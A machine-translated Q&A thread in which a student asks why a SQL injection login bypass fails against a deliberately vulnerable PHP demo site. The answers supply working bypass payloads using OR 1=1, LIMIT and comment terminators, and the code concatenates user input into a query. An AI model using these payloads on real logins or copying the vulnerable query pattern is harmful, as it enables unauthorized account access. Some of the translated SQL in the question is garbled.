2013-12-15 2 views
2

Я должен сделать проект для школы о нескольких различных уязвимостях в Интернете (SQL, XSS, CSRF и т. Д.), И я сделал очень простой сайт, чтобы продемонстрировать атаки. Но по какой-то причине я просто не могу заставить SQL-инъекцию работать, атакуя логин.Моя SQL-инъекция не работает?

Вот простой код Логин:

$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'"; 
$res = mysql_query($query) or die(mysql_error()); 
echo $query . mysql_error(); 
$count = mysql_num_rows($res); 

if ($count == 1) { 
    echo " Reached target!"; 
    session_start(); 
    $_SESSION["cmail"] = $cmail; 
    $_SESSION["cpwd"] = $cpwd; 
} else {} 

Много эхо вещи так, я могу следовать инъекции, чтобы увидеть, что происходит, но это дает мне странные результаты.

Если я зарегистрируюсь как один из клиентов; Имя пользователя: [email protected], пароль = 123abc, это дает мне ожидаемый ответ:

SELECT * FROM WHERE клиента cMAIL='[email protected]»И CPWD = '123abc' Достигнута цель!

Это то, что он эхо в браузере, просто чтобы быть ясным!

И сеанс создан для jjones. Но если я делаю это: имя пользователя: 1' OR '1' = '1, пароль: (пусто) он вторит:

SELECT * FROM клиента WHERE CMail =' 1' или '1' = '1 'И cPWD =' '

Ошибок нет. У меня есть echo'd $ count, и он говорит, что из базы данных выбрано 0 строк. Таким образом, инъекция звучит, но я не получаю никаких строк, основанных на запросе. Как я могу это решить?

+0

На сколько строк 'CPWD = '' 'верно? –

+1

Ваш введенный SQL позволяет продолжить оставшийся исходный запрос. Как указывает Оли, 'cPWD = ''', вероятно, неверен для любых строк. Обычно вы используете что-то вроде «1» ИЛИ 1 = 1; - ', чтобы предотвратить выполнение остальной части запроса. –

+0

@ChrisHayes Это не позволяет мне завершить запрос с помощью #, -,/* и т. Д. Я думаю, что это потому, что в конце есть метка одной кавычки, поэтому она заканчивается 'cMAIL = '1' OR 1 = 1; - «И ...». Последний знак убивает запрос, который я думаю. – Volatile

ответ

2

Вы можете производить

SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD='' 

с пользователем:

1' OR '1'='1' LIMIT 0,1;# 

и пароль пустой.

+0

Я усмехаюсь, что проблема должна быть графом! – CodeColorist

+0

Это сработало отлично. Но почему '' 'работал, когда' --' и '/ *' не сделал? – Volatile

+1

потому что ** # ** комментарий, что после, в одной строке –

0

Вы можете продемонстрировать инъекции SQL в вашем примере, установив имя пользователя

1' OR 1=1; -- 

Это сделает свой окончательный запрос:

SELECT * FROM customer WHERE cMAIL='1' OR 1=1; -- AND cPWD='' 

Это закомментирует проверку пароля.

2

Чтобы обойти проверку входа в систему, вы должны создать запрос, отвечающий следующей спецификации:

  1. к предельному только один подряд. (LIMIT)
  2. Предложение WHERE всегда верно. (булевский расчет)

Таким образом, решение @Ignacio Ocampo является правильным.

Кстати, есть одна вещь, которую вы должны учитывать при внедрении SQL. Если magic_quotes_gpc включен, PHP автоматически преобразует ' в \'.

+0

+1 для магических кавычек, но -1, потому что если бы они были включены, они появлялись бы на выходе OP;) –

+0

Действительно +1 для magic_quotes_gpc thingy, я этого не знал. Благодаря! – Volatile

0

Вы должны положить что-то для поля пароля. В настоящий момент запрос должен соответствовать паролю на пустой ("").

что-то вроде следующего сделает вас умный плохой парень

Username: 1' OR '1' = '1 
Password: doesntmatter' OR '1' = '1 

Это приводит к

SELECT * 
FROM customer 
WHERE cMAIL='1' OR '1'='1' 
    AND cPWD='doesntmatter' OR '1' = '1' 
+0

Это будет работать/работает, если бы не тот факт, что в БД есть 2 записи пользователя, заставляя mysql_num_rows возвращать 2, а не 1. Очевидно будет работать, если бы я закодировал его в замкнутом цикле! – Volatile

Смежные вопросы